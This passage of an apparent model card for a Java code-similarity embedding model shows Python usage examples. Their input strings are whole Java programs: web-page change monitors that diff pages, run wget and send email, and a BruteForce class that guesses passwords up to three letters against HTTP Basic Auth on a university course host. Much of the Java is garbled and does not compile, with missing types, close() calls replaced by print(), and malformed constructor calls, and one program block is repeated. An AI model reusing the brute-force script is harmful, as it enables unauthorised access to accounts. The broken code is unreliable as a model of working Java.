aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = 